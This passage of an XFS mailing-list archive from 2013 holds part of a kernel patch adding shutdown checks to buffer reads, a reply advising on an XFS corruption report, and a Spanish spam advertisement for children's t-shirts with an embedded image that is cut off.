xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) xfs_buf_ioerror_alert(bp, __func__); @@ -4408,7 +4411,13 @@ xlog_do_recover( XFS_BUF_READ(bp); XFS_BUF_UNASYNC(bp); bp->b_ops = &xfs_sb_buf_ops; - xfsbdstrat(log->l_mp, bp); + + if (XFS_FORCED_SHUTDOWN(log->l_mp)) { + xfs_buf_relse(bp); + return XFS_ERROR(EIO); + } + + xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, __func__); diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c index c035d11..647b6f1 100644 --- a/fs/xfs/xfs_trans_buf.c +++ b/fs/xfs/xfs_trans_buf.c @@ -314,7 +314,18 @@ xfs_trans_read_buf_map( ASSERT(bp->b_iodone == NULL); XFS_BUF_READ(bp); bp->b_ops = ops; - xfsbdstrat(tp->t_mountp, bp); + + /* + * XXX(hch): clean up the error handling here to be less + * of a mess.. + */ + if (XFS_FORCED_SHUTDOWN(mp)) { + trace_xfs_bdstrat_shut(bp, _RET_IP_); + xfs_bioerror_relse(bp); + } else { + xfs_buf_iorequest(bp); + } + error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, __func__); From jeff.liu@oracle.com Tue Dec 17 02:05:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1A1AD7F3F for ; Tue, 17 Dec 2013 02:05:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 989F1AC003 for ; Tue, 17 Dec 2013 00:05:01 -0800 (PST) X-ASG-Debug-ID: 1387267500-04cb6c537c7cc540001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id vLI6ybdYC52TzQMC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 00:05:00 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBH84xH7003573 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 17 Dec 2013 08:04:59 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBH84wjn011675 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 17 Dec 2013 08:04:59 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBH84vZB011521; Tue, 17 Dec 2013 08:04:58 GMT Received: from [192.168.1.105] (/114.248.197.160) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 17 Dec 2013 00:04:57 -0800 Message-ID: <52B005A6.9050704@oracle.com> Date: Tue, 17 Dec 2013 16:04:54 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Stor?? <289471341@qq.com>, xfs Subject: Re: =?UTF-8?B?5Zue5aSN77yaIOOAkHhmc19tZXRhZHVtcCAgIHhmc19tZHJlc3Q=?= =?UTF-8?B?b3JlICB4ZnNkdW1wICB4ZnNyZXN0b3Jl44CR?= References: <52AFFC69.7010007@oracle.com> X-ASG-Orig-Subj: Re: =?UTF-8?B?5Zue5aSN77yaIOOAkHhmc19tZXRhZHVtcCAgIHhmc19tZHJlc3Q=?= =?UTF-8?B?b3JlICB4ZnNkdW1wICB4ZnNyZXN0b3Jl44CR?= In-Reply-To: Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1387267500 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143163 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c On 12/17 2013 15:45 PM, Stor?? wrote: > > thank you. > 1. XFS internal error XFS_WANT_CORRUPTED_GOTO at line 1676 of file > fs/xfs/xfs_alloc.c. Caller 0xffffffffa023496d > Pid: 7579, comm: smbd Tainted: G 2.6.27.19-5-default #7 > Call Trace: > [] show_trace_log_lvl+0x41/0x58 > [] dump_stack+0x69/0x6f > [] xfs_free_ag_extent+0x45a/0x6bb [xfs] > [] xfs_free_extent+0xa9/0xc9 [xfs] > [] xfs_bmap_finish+0xee/0x15f [xfs] > [] xfs_itruncate_finish+0x190/0x2ba [xfs] > [] xfs_inactive+0x216/0x450 [xfs] > [] xfs_fs_clear_inode+0xb0/0xf4 [xfs] > [] clear_inode+0x75/0xcc > [] generic_delete_inode+0xd6/0x14e > [] do_unlinkat+0xda/0x14d > [] system_call_fastpath+0x16/0x1b > [<00007f6af6256b77>] 0x7f6af6256b77 > xfs_force_shutdown(dm-1,0x8) called from line 4269 of file > fs/xfs/xfs_bmap.c. Return address = 0xffffffffa023d47b > Filesystem "dm-1": Corruption of in-memory data detected. Shutting down > filesystem: dm-1 > Please umount the filesystem, and rectify the problem(s) > Filesystem "dm-1": xfs_log_force: error 5 returned. > Filesystem "dm-1": xfs_log_force: error 5 returned. > Filesystem "dm-1": xfs_log_force: error 5 returned. > Filesystem "dm-1": xfs_log_force: error 5 returned. > Filesystem "dm-1": xfs_log_force: error 5 returned. > Filesystem "dm-1": xfs_log_force: error 5 returned. > Filesystem "dm-1": xfs_log_force: error 5 returned. > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Why is this so, > In order to protect the data.Which command with the backup file system. > xfs_dump or xfs_metadump. xfsdump. This looks like an internal corruptions, maybe run xfs_repair -n can give more hints. Thanks, -Jeff From mpadilla@mmm.com Tue Dec 17 07:09:55 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7862C7F3F for ; Tue, 17 Dec 2013 07:09:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A46EB304051 for ; Tue, 17 Dec 2013 05:09:54 -0800 (PST) X-ASG-Debug-ID: 1387285787-04bdf00fdeb1760001-w1Z2WR Received: from mailgate02.mmm.com (mailgate02.mmm.com [136.229.2.28]) by cuda.sgi.com with ESMTP id 7Dk1ZERMlgsdewxh (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 05:09:48 -0800 (PST) X-Barracuda-Envelope-From: mpadilla@mmm.com X-Barracuda-Apparent-Source-IP: 136.229.2.28 X-Barracuda-IPDD: Level2 [mmm.com/136.229.2.28] X-ExtLoop1: 1 X-Barracuda-IPDD: Level2 [mmm.com/136.229.2.28] X-IronPort-AV: E=McAfee;i="5400,1158,7291"; a="495528927" Received: from mail209.usac.mmm.com (HELO mail209.mmm.com) ([169.10.20.63]) by mailgate02c.mmm.com with ESMTP; 17 Dec 2013 07:03:24 -0600 To: ventas.scz@hotmail.com MIME-Version: 1.0 Subject: =?ISO-8859-1?Q?Fw=3A_Poleras_de_ni=F1os_y_ni=F1as_-_REGALOS_PARA_NAVIDAD?= X-KeepSent: 2AA9681E:4F65D957-04257C44:00475A43; type=4; name=$KeepSent X-ASG-Orig-Subj: =?ISO-8859-1?Q?Fw=3A_Poleras_de_ni=F1os_y_ni=F1as_-_REGALOS_PARA_NAVIDAD?= X-Mailer: Lotus Notes Release 8.5.2FP3 SHF173 October 24, 2011 From: mpadilla@mmm.com Message-ID: Date: Tue, 17 Dec 2013 06:59:45 -0600 X-MIMETrack: Serialize by Router on Mail209/Server/3M/US(Release 8.5.3FP5 HF400|November 18, 2013) at 12/17/2013 07:00:29 AM, Serialize complete at 12/17/2013 07:00:29 AM Content-Type: multipart/related; boundary="=_related 0047633604257C44_=" X-Barracuda-Connect: mailgate02.mmm.com[136.229.2.28] X-Barracuda-Start-Time: 1387285788 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com This is a multipart message in MIME format. --=_related 0047633604257C44_= Content-Type: multipart/alternative; boundary="=_alternative 0047633604257C44_=" --=_alternative 0047633604257C44_= Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Estimad@s amigos, para estas fiestas tengo a la venta hermosas poleras con = dise=F1o de los h=E9roes favoritos de los ni=F1os, por favor si le interesa= =20 alg=FAn modelito haga su pedido al 67703852 - 71331700 - 71331500 o=20 escr=EDbame al correo: ventas.scz@hotmail.com Tambi=E9n podemos enviarle directamente a su domicilio u oficina. VENTA DE POLERAS, CALZAS, GORRAS CON DISE=D1OS DE TUS HEROES FAVORITOS TENEMOS EN TODAS LAS TALLAS, MANGA CORTA, MANGA LARGA Y MANGA CERO PRECIO DESDE 80 Bs.(Manga Cero), 110 Bs. (Manga Corta), Y 120 BS(Manga=20 Larga),=20 DISE=D1OS DE: DOKI, CARS, BEN10, MARIO, AVENGERS, ANGRY BIRDS (Space, Star = Wars, Heroes, etc.), SPIDERMAN, NINJAS, PLANTS Vs ZOMBIES, MONSTER HIGH, MINIE, TINKER BELL,=20 PRINCESAS, ETC. LOS DISE=D1OS SON DE ALTA CALIDAD, ALUMBRAN DE NOCHE, SE PUEDE METER A LA=20 LAVADORA, NO SE DESPINTAN, NO SE ESTIRAN, NO SE RAJAN NI SE DESPRENDEN=20 - GARANTIZADOS HAGA SU PEDIDO AL 71331700 - 67703852 - 71331500 - 3538163 POLERAS NI=D1OS =20 POLERAS NI=D1AS =20 --=_alternative 0047633604257C44_= Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Estimad@s amigos, para estas fiestas ten= go a la venta hermosas poleras con dise=F1o de los h=E9roes favoritos de los n= i=F1os, por favor si le interesa alg=FAn modelito haga su pedido al 67703852 - 71331700 - 71331500 o escr=EDbame al correo: ventas.scz@hotmail.com<= /b>
    Tambi=E9n podemos enviarle direct= amente a su domicilio u oficina.

    VENTA DE POLERAS, CALZAS, GORRAS

    CON DISE=D1OS DE TUS HEROES FAVORITOS

    TENEMOS EN TODAS LAS TALLAS, MANGA CORTA, MANGA LARGA Y MANGA CERO

    PRECIO DESDE 80 Bs.(Manga Cero), 110 Bs. (Manga Corta), Y 120 BS(Manga Larga),

    DISE=D1OS DE: DOKI,= CARS, BEN10, MARIO, AVENGERS, ANGRY BIRDS (Space, Star Wars, Heroes, etc.),

    SPIDERMAN, NINJAS, PLANTS Vs ZOMBIES, MON= STER HIGH, MINIE, TINKER BELL, PRINCESAS, ETC.

    LOS DISE=D1OS SON DE ALTA CALIDAD, ALUMBRAN DE NOCHE, SE PUEDE METER A LA LAVADORA,

    NO SE DESPINTAN, NO SE ESTIRAN, NO SE RAJAN NI SE DESP= RENDEN - GARANTIZADOS

    HAGA SU PEDIDO AL 71331700 - 67703852  -  71331500 - 3538163



    POLERAS NI=D1OS

                                                                         


    POLERAS NI=D1AS

                         



    --=_alternative 0047633604257C44_=-- --=_related 0047633604257C44_= Content-Type: image/jpeg Content-ID: <_2_143CC7A4143CC5380047633404257C44> Content-Transfer-Encoding: base64 /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAQDAwQDAwQEAwQFBAQFBgoHBgYGBg0JCggKDw0QEA8N Dw4RExgUERIXEg4PFRwVFxkZGxsbEBQdHx0aHxgaGxr/2wBDAQQFBQYFBgwHBwwaEQ8RGhoaGhoa GhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhr/wAARCAHAAUsDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDxjVfj n8RYdSvEi8XaqFWd1A884ADGmQ/HX4ikjPi7VD/23NcDrPGr3w/6eZP/AEI1FCcHGOtO5B6xb/G3 4hNtLeLNUI/67mm33xu+ISAeX4t1RfpOa4WyXKjPNV75iWxnGKbdkHU7B/jl8RQD/wAVdqo/7bmm f8L0+Iygf8Vfqx/7bmuDn+dRmoj93rUjPSI/jl8RGGf+Eu1Un/rua0Yvjb8QWj3HxZqeR/03NeVw uARitK3l/dtkYGKLqwI7S5+OPxEHK+LdVA9pzTYPjl8RGIB8Xar/AN/zXn1y58snqM1FBJznNF1c LM9Yj+NnxA6HxXqZP/Xc1P8A8Lq8flOPFmp5/wCuxrzSF1Azv5I5zU6SqwI3ChSQ3E7ib43fEEL8 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 